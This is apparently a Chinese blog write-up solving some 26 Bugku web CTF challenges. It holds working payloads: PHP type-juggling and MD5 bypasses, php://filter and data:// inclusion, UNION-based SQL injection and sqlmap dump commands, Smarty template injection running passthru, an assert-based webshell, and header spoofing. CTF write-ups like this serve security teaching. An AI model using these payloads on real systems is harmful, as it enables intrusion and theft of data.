目录
1、滑稽
进入场景,发现一堆滑稽表情在飞
直接F12
2、计算器
进入场景,一道数学题,但是只能输入一个数字
F12,可以看到输入框的标签的maxlenth=1
改成2,就可以输入两个数字了,验证就得到了flag
3、GET
进入场景看到php源码,以get请求传入what=flag
get,通过拼接url进行传递参数,在url后面写入/?what=flag得到flag
4、POST
以post传入what=flag
post,通过body体传输参数,因此需要借助bp抓包,或者直接用hackbar传输。
GET和POST的区别:
1、GET拼接URL,POST传body
2、GET限制字符串长度,不同浏览器直接有细微差别,post请求传输数据的大小根据php.ini 配置文件设定,可以无限大
3、请求缓存:GET 会被缓存,POST不会 因为get是url的请求,没有请求体无法缓存
4、 收藏书签:GET可以,POST不能 ,原因是因为url可以收藏,请求体无法收藏
5、 保留浏览器历史记录:GET可以,而POST不能,因为get的url请求!
6、用处:get常用于取回数据,post用于提交数据,原因是get传输有字符串长度限制,如果字符串长度不超过限制,也可以提交数据
7、 安全性:post比get安全,post是请求体,不会在url上被劫持,传递参数时URL不可见
8、数据包:GET产生一个TCP数据包;POST产生两个TCP数据包
5、矛盾
看php源码,让用get传入一个名为num的数据,如果是数字就输出内容,如果等于1就输出flag,看似矛盾
PHP一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。 在PHP中,== 会先进行类型转换,再进行对比,而===会先比较类型,如果类型不同直接返回不相等。
所以在url后面输入/?num=1a(任意字符)即可
6、alert
直接F12,看到一串字符串
直接解码就得到了flag
7、你必须让他停下
进去之后页面一直刷新
bp抓包,然后一直send,flag就在其中,因为bp抓包后可以开启截断,所以就是让他停下来了
8、game1
一个游戏,先看看源码,找到一串提示,sign用base64加密过且与score有关
玩把游戏,抓一下包
在玩几次看看抓包结果:
结合抓包结果和源码,猜测结果与score和sign有关
base64加密:150——MTUw,225——MjI1
对比发现,sign=ZM+base64加密的score+==
改一下包,把分数改大,同时改一下sign:
9、网站被黑
直接御剑扫描一波
进入http://114.67.246.176:19127/shell.php
发现要输入密码,bp爆破
用bp的Passwords尝试
得到密码hack,也就得到了flag。
10、本地管理员
先F12看一眼
看到一串加密字符,直接base64解密
得到test123
经验告诉我们,一般管理员账号都是admin,尝试一下
IP被禁止了,那就更改ip,这里就需要了解一下XFF
X-Forwarded-For:
简称XFF头,代表了HTTP的请求端真实的IP。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件[通过修改XXF头可以实现伪造IP])
bp抓包,添加XFF
得到flag。
11、eval
看到php源码 ,分析php源码:
include() | 可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前) |
eval() | eval() 函数把字符串按照 PHP 代码来执行 |
show_source() | 通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本 |
$_REQUEST | 可以用于接受get和post传递的参数 |
var_dump() | 显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构 |
当我们传入一个名为hello的参数时,如果参数是数组,可以递归展开,这时就用到了file()
file() 函数把整个文件读入一个数组中。
file("flag.php")就可以将flag.php的内容存入数组,再通过var_dump()显示内容,再用eval()执行
构造playload /?hello=file("flag.php")
12、变量1
preg_match()是进行正则匹配,“/^\w+$/",/^开始, \w表示任意一个单词字符、数字、下划线,即[a-z A-Z 0-9_ ] ,+将前面的字符匹配一次或多次,$/结尾,应该是为了避免文件包含漏洞查看源码
看到第一行说flag在变量里,var_dump($$args),$$args可以看作是$($args),括号里面的是整体,代表的是get传入的值,前面加了$,结合这两点想到$GLOBALS,作用:$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
var_dump($GLOBALS),把全部变量递归展开值,通过缩进显示其结构,eval以php形式执行
构造playload:/?args=GLOBALS
得到flag:
13、头等舱
F12没东西,习惯性看看数据包,发现就在响应头里,怪不得叫头等舱
14、社工伪造
随便输入几个号码,发现很多账号都可以成功登录,先进去看看再说:
可以进入空间
发现了线索,跟小美聊会天:
目标明确了,伪造成她男朋友就可以了,伪造过程发现了个好玩的东西:
重新登陆,直接用他男朋友账号发现登录不了,抓包看看
发现nk之后就是我输入的账号,换成他男朋友的
发现头像变了,但是发送flag还是不行,继续找线索:
发现id:小bug,尝试构造,这里试了很多方法都没用,但是当我尝试用我的qq号登陆的时候,发现信息是我的id和头像,尝试更改自己的id为小bug,抓包更改头像(应该可以直接换头像),得到flag:
挺有意思的一道题
比较好奇他是如何抓捕我实际qq的信息的,希望评论区有大佬可以讲一下!!!大恩不言谢!!!
15、source
先F12,发现一个flag,输入发现是假的
dirsearch一波,看看有没有敏感目录,发现了flag.php,进去之后又是假的
注意到除了flag.php,还有一堆.git,判断是git泄露
Git介绍:
git泄露:
开发人员在开发时,常常会先把源码提交到远程托管网站(如github),最后再从远程托管网站把源码pull到服务器的web目录下,如果忘记把.git文件删除,就造成此漏洞。利用.git文件恢复网站的源码,而源码里可能会有数据库的信息。
当前大量开发人员使用git进行版本控制,对站点自动部署。 如果配置不当,可能会将.git文件夹直接部署到线上环境,这就引起了git泄露漏洞。
攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账户密码等,攻击者可能直接控制服务器。
Git泄露原理:
通过泄露的.git文件夹下的文件,还原重建工程源代码
解析.git/index文件,找到工程中所有的(文件名,文件sha1)
去.git/objects文件夹下下载对应的文件
zlib解压文件,按原始的目录结构写入源代码
(危害:渗透测试人员、攻击者,可以进一步代码审计,挖掘:文件上传,sql注入等安全漏洞)
可以进去看一眼:
GitHack:
GitHack可以按照git泄露的原理,自动恢复到最后一次提交:
虽然恢复出了flag.txt,但flag还不在这里,第二种思路:
爬取整个.Git目录:
和使用githack这个工具相比 ,爬取整个目录可以完全模拟服务器上的代码环境 , 可以跟踪到git的每一次提交 ,可以去查看git的提交日志 , 这个日志信息中会有开发人员对每一次commit的描述 , 比如某个BUG的修复等等
操作方法:
wegt -r url
-r代表递归
git reflog可以查看当前版本库的提交历史,凡是对仓库版本进行迭代的都会出现在这个里面,包括你回滚版本都会出现在这个历史中
git show可以看到每个版本的内容,查看每个代号,在40c6d51中找到了flag
16、源代码
直接F12看一眼源代码
URL解码拼接:
function checkSubmit(){
//{getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用}也就是让a等于passw的值
var a=document.getElementById("password");
//如果a的类型不是{一个声明未定义的变量的初始值,或没有实际参数的形式参数。}
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return !0;
alert("Error");
a.focus();
return !1
}
}
//{onsubmit 事件在提交表单时发生。}
document.getElementById("levelQuest").onsubmit=checkSubmit;
实际上就是让你输入a.value的那一串字符,输入点击submi:
17、 文件包含
只管点击一下试试:
那flag应该在index.php文件中,构造playload:?file=index.php
结果发现进不去
结合题目说是文件包含,那就 构造新的playload:
file=php://filter/convert.Base64-encode/resource=index.php
使用
php://filter/convert.Base64-encode/resource=xxx
拿到文件源码(将文件流通过Base64进行编码,如果不编码会直接当做php代码执行就看不到源代码内容了)
得到了Base64加密的源码
解密:
<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{dcd136029e9de965beaf2761a88a8a31}
?>
</html>
得到了flag,同时还发现过滤了../,tp,input,date
strstr() 函数搜索字符串在另一字符串中的第一次出现。该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。
18、好像需要密码
一看就是bp爆破,但是BP爆破太慢了,看到一位大佬写的python脚本:
5位数纯密码爆破脚本-记录_wang649的博客-优快云博客
需要使用requests库
输入之后就得到了flag。
19、备份是个好习惯
没啥提示,其实是两个md5加密,后面会讲
既然题目说是备份,就先dirsearch一波
发现/index.pgp.bak 这个是备份文件
构造playload,发现要下载备份文件
把.bak删除,访问文件,:
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
//PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。
ini_set("display_errors", 0); //不显示错误报告
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
//parse_str() 函数把查询字符串解析到变量中
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
审计PHP,意思就是把URL中?以后的字符串中的key过滤掉,并且解析到变量中,根据下面的输出我们可以猜测playload在过滤之前应该是?key1=xxx&key2=XXX,但是想要输出flag需要key1和key2值不相等但是md5加密后相等。
首先绕过key过滤可以构造 ?kkeyey1=xxx&kkeyey2=XXX
但是通过资料查询md5加密的特性:
MD5的性质:
1、压缩性:任意长度的数据,算出的MD5值长度都是固定的(相当于超损压缩)。
2、容易计算:从原数据计算出MD5值很容易。
3、抗修改性:对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。
4、弱抗碰撞:已知原数据和其MD5值,想找到一个具有相同MD5值的数据(即伪造数据)是非常困难的。
5、强抗碰撞:想找到两个不同的数据,使它们具有相同的MD5值,是非常困难的。
发现我们很难找到值不等但md5相等的两个数据
又查了资料发现绕过方法:
1、md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2、利用==比较漏洞:如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
构造playload:?kkeyey1[]=1&kkeyey2[]=2
得到flag
也可以用第二种方法,这里查询了0e开头的MD5
常见的MD5碰撞:md5值为0e开头_烟雨天青色-优快云博客
构造playload:?kkeyey1=QNKCDZO&kkeyey2=240610708
得到flag
再回头研究一下最开始的d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
echo md5($key1);
echo md5($key2);
这两句话就对应了d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
可以看到他其实是两个d41d8cd98f00b204e9800998ecf8427e,md5解密一下:
发现是NULL,这是因为最开始key1和key2的值都为NULL
20、cookies
进去之后没什么东西,但是看到url中似乎有base64编码:
index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ= -> keys.txt
说明应该是可以读取文件的,我们把filena换成index.php的base64加密:
index.php -> aW5kZXgucGhw
发现响应中有源码,更改url中的line发现显示的不一样,爆破了一下发现有19行[0-18](19行手动应该也能发现)
一行一行取太麻烦了,写个脚本:
import requests
a = 18
for i in range(a):
url = "http://114.67.246.176:14706/index.php?line=" + str(
i) + "&filename=aW5kZXgucGhw"
s = requests.get(url)
print(s.text)
得到PHP代码:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
如果COOKIE:margin=margin时,一个名为keys.php的文件会放入file_list中,通过get传入keys.php的base64加密后会输出其文件内容对应的行数(line)
构造数据包:
得到了flag (注意line=0)
21、never_give_up
习惯性先看源码:
有提示,进去看看:
页面直接跳转到bugku.com了
那就看一下源码:http://114.67.246.176:14841/1p.html(也可以bp抓包)
在网址前加view-source:可查看网页源码
发现了一段url加密和base64加密,解密:
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
-->"
- window.location.href;//当前页面打开URL页面
- file_get_contents() 函数把整个文件读入一个字符串中。
eregi()
函数在由模式指定的字符串中搜索指定的字符串,搜索不区分大小写。
所以想要输出flag,就要满足以下条件:
- a中不能有.
- 变量 $data 弱等于字符串 bugku is a nice plateform!
- 变量 $id 弱等于整型数 0
- 变量 $b 的长度大于 5
- 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
变量 $b 的第一个字符弱不等于整型数 4
首先,id非空还要若等于0,参考第五题“矛盾”,可以让id等于一个字符串
码中变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。
这里涉及到一个file_get_contents()函数,而这个函数是可以绕过的
绕过方式有多种:
使用php://input伪协议绕过
① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
ereg()字符串对比解析,ereg函数存在NULL截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。
注:这里的%00是需要urldecode才可以截断的,这是url终止符,且%00长度是1不是3
由此构造playload:
关于PHP的一些漏洞:
PHP函数黑魔法小总结 · sky's blog (skysec.top)
22、成绩查询
提交1、2、3可以看到不同的成绩单,猜测可能是sql注入
输入1+1查到1的成绩,输入1‘#可以查到1的成绩,
输入1‘and 1=1#时回显1的内容,输入1‘and 1=2-#时出错,说明存在注入点
开始注入,用order by爆出字段数:
输入1’ order by 4#有回显,输入1’ order by 5#无回显,说明有4段;
输入-1‘ union select 1,2,3,4#确定回显位置
id=-1是因为该页面只显示一行记录,当id=-1时,第一行记录无法被查询到,就显示union后面的记录
输入-1‘ union select 1,database(),3,4#确定数据库名称
输入以下代码:
-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf'#
group_concat是用“ ,”联合多行记录的函数,table_name 是information_shcema库的table表名字段,table_schema是数据库名字段
确定表名:
输入以下代码:
-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g'#
确定列名:
输入以下代码:
-1' union select 1,group_concat(skctf_flag),3,4 from fl4g#
查看内容:得到flag
POST型sqlmap自动注入:
输入1提交,bp抓包:
然后按右键,点击copy to file保存文件:
然后打开sqlmap开始爆库:
sqlmap -r sql.txt --current-db
看到当前数据库名称:skctf
查找表:
sqlmap -r sql.txt -D skctf --tables
两个表,看起来在fl4g中
查看表的字段:
sqlmap -r sql.txt -D skctf -T fl4g --columns
查看字段内容:
sqlmap -r sql.txt -D skctf -T fl4g -C skctf_flag -dump
找到flag!
23、秋名山车神
不断刷新,表达式每两秒发生一次变化,(也找到了提示,需要post一个value)因此需要脚本来帮助计算
由于博主python刚刚入门,所以直接抄答案了:bugku-秋名山车神_MILLOPE的博客-优快云博客
import requests
import re
baseurl = 'http://114.67.246.176:13063/'
r = requests.session()
oritext = r.get(baseurl)
newtext = oritext.text.encode(oritext.encoding).decode(
oritext.apparent_encoding)
# 将网站用utf-8重新编码 不然输出是乱码
cont = re.findall('<div>(.*?)</div>', newtext) # 正则表达式
cont = "".join(cont) # 列表转字符串直接计算
cont = cont[:-3]
post = eval(cont)
data = {'value': post}
flag = r.post(baseurl, data=data)
print(flag.text)
快学Python和正则表达式!!!!!!
快学Python和正则表达式!!!!!!
快学Python和正则表达式!!!!!!
24、shell
进来之后一片空白
源码也没啥东西,dirsearch也没扫到东西,看看作者提示:
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
没太看懂这是什么,但看到了熟悉了$_GET['s'],那就用get传s试试:
PHP执行命令:
PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec() - gaohj - 博客园 (cnblogs.com)
exec() 执行系统外部命令时不会输出结果,而是返回结果的最后一行
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,通过shell执行命令并以字符串的形式返回完整的输出
接着cat第一个文件就可以看到flag了
25、聪明的PHP
传递一个参数,也许标志文件的文件名是随机的?
既然让传递参数了,先随便上传一个参数/?a=1 得到php代码:
//pass a parameter and maybe the flag file's filename is random :>
<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
//a 1
Smarty是一个使用PHP写出来的模板引擎,是业界最著名的PHP模板引擎之一。它分离了逻辑代码和外在的内容,提供了一种易于管理和使用的方法,用来将原本与HTML代码混杂在一起PHP代码逻辑分离。简单的讲,目的就是要使PHP程序员同前端人员分离,使程序员改变程序的逻辑内容不会影响到前端人员的页面设计,前端人员重新修改页面不会影响到程序的程序逻辑,这在多人合作的项目中显的尤为重要。
Smarty也要学了吗orz
结合源码,可以看出这应该是一个模板Smarty注入题,同时他过滤了很多PHP命令执行代码,但结合上一题我们发现,passthru()没被过滤,试一试?a={passthru("ls")}
所有的smarty模板标签都被加上了定界符,默认情况下是 { 和},
可以执行,接下来就找flag的位置吧 可以用ls ../../../一直查看上页的文件目录,发现_23968可疑文件,cat被过滤了,还可以使用
tac
tail
head
more
less
查看文件内容,最后构造?a={passthru("tac%20../../../_23968")},得到flag。
26、你从哪里来
进来看到一个无厘头的提示
抓个包看看,没什么特别的
结合题目想一想,你从哪里来,很容易联想到http的Referer,添加一个Referer,结合提示后面跟www.google.com:
Referer是非常常用的头,它表示请求的发起来源URI,也就是当前页面资源的父页面。如果你从A页面跳转到B页面,那么请求B页面的请求头里面就会有Referer信息,它的值就是A页面的访问地址。通过追踪Referer,可得出资源页面之间复杂的跳转链,它非常适合用于网页的数据分析和路径优化。
博主还遇到过类似的另一个问题,给的提示为某某浏览器,这个时候可以修改User-Agent
User-Agent:携带当前的用户代理信息,一般包含浏览器、浏览器内核和操作系统的版本型号信息。它和Server头是对应的,一个是表达服务器信息,一个是表达客户端信息。服务器可以根据用户代理信息统计出网页服务的浏览器、操作系统的使用占比情况,服务器也可以根据UA的信息来定制不一样的内容。